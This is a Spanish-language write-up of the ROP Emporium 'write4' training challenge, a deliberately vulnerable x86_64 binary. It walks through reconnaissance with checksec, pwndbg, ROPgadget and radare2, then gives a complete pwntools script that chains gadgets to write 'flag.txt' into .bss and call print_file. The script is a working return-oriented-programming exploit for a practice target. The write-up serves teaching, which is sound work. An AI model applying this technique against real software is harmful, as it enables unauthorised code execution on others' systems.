Este es otro post de la serie de writeups de ROP Emporium. Con esta serie de posts aprenderemos sobre una de las técnicas más utilizadas en la explotación de binarios, la ROP, ó Return Orineted Programming (Programación orientada a return).
Concretamente en este reto, utilizaremos ROP gadgets para llamar a varias funciones pasándoles argumentos.
x86_64 (Intended)
Reconocimiento
Como siempre comenzamos lanzando checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
El enunciado:
The important thing to realize in this challenge is that ROP is just a form of arbitrary code execution and if we’re creative we can leverage it to do things like write to or read from memory. The question is what mechanism are we going to use to solve this problem, is there any built-in functionality to do the writing or do we need to use gadgets? In this challenge we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as
mov [reg], reg
.
Por lo que parece, será un ataque de tipo ROP.
Analizando con gdb-pwndbg, vemos las siguientes funciones:
0x00000000004004d0 _init
0x0000000000400500 pwnme@plt
0x0000000000400510 print_file@plt
0x0000000000400520 _start
0x0000000000400550 _dl_relocate_static_pie
0x0000000000400560 deregister_tm_clones
0x0000000000400590 register_tm_clones
0x00000000004005d0 __do_global_dtors_aux
0x0000000000400600 frame_dummy
0x0000000000400607 main
0x0000000000400617 usefulFunction
0x0000000000400628 usefulGadgets
0x0000000000400630 __libc_csu_init
0x00000000004006a0 __libc_csu_fini
0x00000000004006a4 _fini
Vemos que ahora la función pwnme se encuentra enlazada dinámicamente. Además, hay una función printfile a la que tendremos que llamar:
0x00007ffff7a00943 <+0>: push rbp
0x00007ffff7a00944 <+1>: mov rbp,rsp
0x00007ffff7a00947 <+4>: sub rsp,0x40
0x00007ffff7a0094b <+8>: mov QWORD PTR [rbp-0x38],rdi
0x00007ffff7a0094f <+12>: mov QWORD PTR [rbp-0x8],0x0
0x00007ffff7a00957 <+20>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7a0095b <+24>: lea rsi,[rip+0xd5] # 0x7ffff7a00a37
0x00007ffff7a00962 <+31>: mov rdi,rax
0x00007ffff7a00965 <+34>: call 0x7ffff7a007a0 <fopen@plt>
0x00007ffff7a0096a <+39>: mov QWORD PTR [rbp-0x8],rax
0x00007ffff7a0096e <+43>: cmp QWORD PTR [rbp-0x8],0x0
0x00007ffff7a00973 <+48>: jne 0x7ffff7a00997 <print_file+84>
0x00007ffff7a00975 <+50>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7a00979 <+54>: mov rsi,rax
0x00007ffff7a0097c <+57>: lea rdi,[rip+0xb6] # 0x7ffff7a00a39
0x00007ffff7a00983 <+64>: mov eax,0x0
0x00007ffff7a00988 <+69>: call 0x7ffff7a00750 <printf@plt>
0x00007ffff7a0098d <+74>: mov edi,0x1
0x00007ffff7a00992 <+79>: call 0x7ffff7a007b0 <exit@plt>
0x00007ffff7a00997 <+84>: mov rdx,QWORD PTR [rbp-0x8]
0x00007ffff7a0099b <+88>: lea rax,[rbp-0x30]
0x00007ffff7a0099f <+92>: mov esi,0x21
0x00007ffff7a009a4 <+97>: mov rdi,rax
0x00007ffff7a009a7 <+100>: call 0x7ffff7a00780 <fgets@plt>
0x00007ffff7a009ac <+105>: lea rax,[rbp-0x30]
0x00007ffff7a009b0 <+109>: mov rdi,rax
0x00007ffff7a009b3 <+112>: call 0x7ffff7a00730 <puts@plt>
0x00007ffff7a009b8 <+117>: mov rax,QWORD PTR [rbp-0x8]
0x00007ffff7a009bc <+121>: mov rdi,rax
0x00007ffff7a009bf <+124>: call 0x7ffff7a00740 <fclose@plt>
0x00007ffff7a009c4 <+129>: mov QWORD PTR [rbp-0x8],0x0
0x00007ffff7a009cc <+137>: nop
0x00007ffff7a009cd <+138>: leave
0x00007ffff7a009ce <+139>: ret
También necesitaremos la cadena flag.txt, que por desgracia no está en el binario:
search flag.txt
Searching for value: 'flag.txt'
warning: Unable to access 16007 bytes of target memory at 0x7ffff7a01000, halting search.
Por tanto, debemos encontrar un gadget que nos permita escribir en una región del binario con permisos de lectura/escritura. Para ello utilizaremos ROPGadget:
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
Con este gadget podemos escribir en la dirección a la que apunte r14, que será una zona con permisos R/W. Para buscar dicha zona utilizaremos radare2:
r2 write4
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x00400520]> iS
[Sections]
nth paddr size vaddr vsize perm type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- NULL
1 0x00000238 0x1c 0x00400238 0x1c -r-- PROGBITS .interp
2 0x00000254 0x20 0x00400254 0x20 -r-- NOTE .note.ABI-tag
3 0x00000274 0x24 0x00400274 0x24 -r-- NOTE .note.gnu.build-id
4 0x00000298 0x38 0x00400298 0x38 -r-- GNU_HASH .gnu.hash
5 0x000002d0 0xf0 0x004002d0 0xf0 -r-- DYNSYM .dynsym
6 0x000003c0 0x7c 0x004003c0 0x7c -r-- STRTAB .dynstr
7 0x0000043c 0x14 0x0040043c 0x14 -r-- GNU_VERSYM .gnu.version
8 0x00000450 0x20 0x00400450 0x20 -r-- GNU_VERNEED .gnu.version_r
9 0x00000470 0x30 0x00400470 0x30 -r-- RELA .rela.dyn
10 0x000004a0 0x30 0x004004a0 0x30 -r-- RELA .rela.plt
11 0x000004d0 0x17 0x004004d0 0x17 -r-x PROGBITS .init
12 0x000004f0 0x30 0x004004f0 0x30 -r-x PROGBITS .plt
13 0x00000520 0x182 0x00400520 0x182 -r-x PROGBITS .text
14 0x000006a4 0x9 0x004006a4 0x9 -r-x PROGBITS .fini
15 0x000006b0 0x10 0x004006b0 0x10 -r-- PROGBITS .rodata
16 0x000006c0 0x44 0x004006c0 0x44 -r-- PROGBITS .eh_frame_hdr
17 0x00000708 0x120 0x00400708 0x120 -r-- PROGBITS .eh_frame
18 0x00000df0 0x8 0x00600df0 0x8 -rw- INIT_ARRAY .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- FINI_ARRAY .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- DYNAMIC .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- PROGBITS .got
22 0x00001000 0x28 0x00601000 0x28 -rw- PROGBITS .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- PROGBITS .data
24 0x00001038 0x0 0x00601038 0x8 -rw- NOBITS .bss
25 0x00001038 0x29 0x00000000 0x29 ---- PROGBITS .comment
26 0x00001068 0x618 0x00000000 0x618 ---- SYMTAB .symtab
27 0x00001680 0x1f6 0x00000000 0x1f6 ---- STRTAB .strtab
28 0x00001876 0x103 0x00000000 0x103 ---- STRTAB .shstrtab
Utilizaremos la sección .bss, aunque .data debería funcionar igualmente.
Ahora nos falta un gadget que nos permita guardar valores en r14 y r15:
0x0000000000400690 : pop r14 ; pop r15 ; ret
Solo nos falta ver de dónde toma el argumento print_file. En este caso, viendo el código de arriba, veremos que el nombre del archivo se debe pasar en rdi.
0x0000000000400693 : pop rdi ; ret
Explotación
Ya solo queda hacer el script, que quedaría:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
# Set up pwntools for the correct architecture
context.bits=64
exe = './write4'
def start():
return process(exe)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
padding=40*b'A' #Same as previous
# 0x0000000000400510 print_file@plt
print_file = p64(0x0000000000400510)
flag_txt = b'flag.txt'
# 0x0000000000400628 : mov qword ptr [r14], r15 ; ret
load_r14 = p64(0x0000000000400628)
rw_section = p64(0x00601038)
# 0x0000000000400690 : pop r14 ; pop r15 ; ret
pop_r14_r15 = p64(0x0000000000400690)
# 0x0000000000400693 : pop rdi ; ret
pop_rdi = p64(0x0000000000400693)
payload = padding + pop_r14_r15 + rw_section + flag_txt + load_r14 + pop_rdi + rw_section + print_file
io.send(payload)
io.interactive()
Un reto muy interesante para seguir afianzando conceptos. ¡Nos vemos en el próximo post!